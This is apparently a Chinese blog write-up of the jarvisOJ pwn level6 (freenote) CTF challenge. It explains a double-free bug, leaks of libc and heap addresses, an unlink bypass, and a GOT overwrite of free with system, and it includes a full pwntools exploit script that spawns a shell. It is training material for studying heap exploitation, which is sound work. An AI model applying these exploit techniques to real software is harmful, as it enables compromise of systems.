PWN学习之unlink

前言

我发现pwn的利用还是要专注于程序本身,之前一直都是模棱两可,以至于题目从远程到本地就不知道如何修改脚本了。就这道题目而言,花了两天算是彻底搞通了。题目来自jarvisOJ pwn level6(https://www.jarvisoj.com/challenges)

下面将通过静态分析、动态调试以及unlink等堆技巧的利用详解该题目

程序分析

首先当时是要搞清楚程序的内容,然后发现漏洞从而利用。

checksec 一下

32位程序,No RELRO说明got表可写。用ida查看程序

查看sub_8048810,建立堆索引

查看sub_8048860,list函数

查看sub_80488E0,new函数

查看sub_8048670,创建note函数。存在内存泄露,后面会验证。

查看sub_80489D0,edit函数

查看sub_8048AD0,delete函数。该函数free掉的堆块没有清零,free的时候也没有进行长度或标志位的判断,存在double free!

泄露libc基地址

note的大小为0x80的整数倍,0x80大小的chunk属于small chunk。free之后会放到small bin中,而且free之后的chunk0的fd、bk会指向main arena中的特定值。首先new两个长度为16的note,然后delete第一个

从上面的图中可以看到索引堆的结构,free掉的堆地址还在索引堆里面,以及main arena中的特定值0xf7fb87b0。下面计算它与libc基地址的固定偏移

固定偏移为0x1b07b0。再new一个长度小于4的note覆盖掉fd,然后list就可泄露bk,减掉固定偏移就是libc基地址。0a为回车换行符

代码流程如下

1
2
3
4
5
6
7
8
9
new('a'*16) #chunk0
new('b'*16) #chunk1
delete(0)
new('1234') #如果是new('123/x00')就无法泄露,这就是漏洞产生的原因
list()
leak_addr = u32(p.recvuntil("aaaa")[-8:-4])
offset = 0x1b07b0
libc_addr = leak_addr - offset
print hex(libc_addr)

泄露堆地址

当两个不相邻的small chunk被free掉时,会建立双向链表。在上面的基础上,再new两个大小为16的chunk,然后delete第一个和第三个

可以更详细地看到索引堆的结构,以及被free掉的chunk0、chunk2和main arena之间形成的双向链表。可以用上面同样的方法泄露chunk2的地址,然后减掉offset=0x0804bd28-0x0804b000=d28

1
2
0xd28 = 0xc10 + 0x80*2 + 0x8*3
3个0x8分别为索引堆、chunk0和chunk1的header
1
2
3
4
5
6
7
8
9
10
11
12
new('c'*16) #chunk2
new('d'*16) #chunk3
delete(0)
delete(2)
new('1234')
list()
leak_addr = u32(p.recvuntil("aaaa")[-8:-4])
heap_addr = leak_addr - 0xd28
print hex(heap_addr)
delete(0)
delete(1)
delete(3)

unlink操作如下

1
2
3
4
FD = p->fd
BK = p->bk
FD->bk = BK <==> p->fd+12 = p->bk
BK->fd = FD <==> p->bk+8 = p->fd

进行unlink之前的检查如下

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

绕过方法如下

1
2
fakeFD = p->fd = *p-12
fakeBK = p->bk = *p-8

最后结果

1
p = *p-12

因此可以new一个0x80*2的note,然后利用double free 来delete第二个

chunk0的地址为0x97a0018,指向0x97a0018-12=0x97a000c。

1
2
3
4
5
6
7
chunk0 = heap_addr + 0x18
payload = p32(0) + p32(0x81) + p32(chunk0-12) + p32(chunk0-8)
payload = payload.ljust(0x80,'a')
payload += p32(0x80) + p32(0x80)
payload = payload.ljust(0x100,'a')
new(payload)
delete(1)

exploit

首先edit第一个note,因为此时chunk0所指向的是chunk0-12。先填充前面的12字节

1
2
3
4
payload = p32(2) + p32(1) +p32(0x4)
#note数量为2
#chunk0存在
#长度为0x4,避免进行realloc

然后在chunk0处填上free函数的地址

1
payload += p32(elf.got['free'])

然后填充chunk1的索引信息

1
2
3
payload += p32(1) + p32(8) + p32(heap_addr + 0xca8)
payload = payload.ljust(0x100,'a')
edit(0,payload)

然后将free函数改为system函数,将chunk1的内容改为/bin/sh

1
2
edit(0,p32(libc_addr + libc.symbols['system']))
edit(1, '/bin/sh\x00')

最后delete(1),将free(chunk1)变成system(‘/bin/sh’)。完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding=utf-8
from pwn import *

p = process("./freenote_x86")
#p = remote('pwn2.jarvisoj.com', 9885)
elf = ELF('./freenote_x86')
libc = ELF("/lib32/libc.so.6")
a = libc.symbols['system']
print hex(a)

def list():
p.recvuntil("choice:")
p.sendline('1')
#return p.recv()

def new(s):
l = len(s)
p.recvuntil("choice:")
p.sendline('2')
p.recvuntil("new note:")
p.sendline(str(l))
p.recvuntil("your note:")
p.sendline(s)

def edit(num,s):
l = len(s)
p.recvuntil("choice:")
p.sendline('3')
p.recvuntil("number:")
p.sendline(str(num))
p.recvuntil("of note:")
p.sendline(str(l))
p.recvuntil("your note:")
p.sendline(s)

def delete(num):
p.recvuntil("choice:")
p.sendline('4')
p.recvuntil("number:")
p.sendline(str(num))

#####泄露libc基地址#####
new('a'*16) #chunk0
new('b'*16) #chunk1
delete(0)
new('1234')
list()
leak_addr = u32(p.recvuntil("aaaa")[-8:-4])
print hex(leak_addr)
offset = 0x1b07b0
libc_addr = leak_addr - offset

#####泄露堆地址#####
new('c'*16) #chunk2
new('d'*16) #chunk3
delete(0)
delete(2)
new('1234')
list()
leak_addr = u32(p.recvuntil("aaaa")[-8:-4])
print hex(leak_addr)
heap_addr = leak_addr - 0xd28
delete(0)
delete(1)
delete(3)

#####unlink#####
chunk0 = heap_addr+0x18
payload = p32(0) + p32(0x81) + p32(chunk0-12) + p32(chunk0-8)
payload = payload.ljust(0x80,'a')
payload += p32(0x80) + p32(0x80)
payload = payload.ljust(0x100,'a')
new(payload)
delete(1)
#gdb.attach(p)

#####hijack got#####
payload = p32(2) + p32(1) + p32(4) + p32(elf.got['free'])
payload += p32(1) + p32(8) + p32(heap_addr + 0xca8)
payload = payload.ljust(0x100,'a')
edit(0,payload)
edit(0,p32(libc_addr + libc.symbols['system']))
edit(1, '/bin/sh\x00')

delete(1)
p.interactive()

结果如下

这个方法打不了远程,因为无法获取libc的基地址。

-------------本文结束感谢您的阅读-------------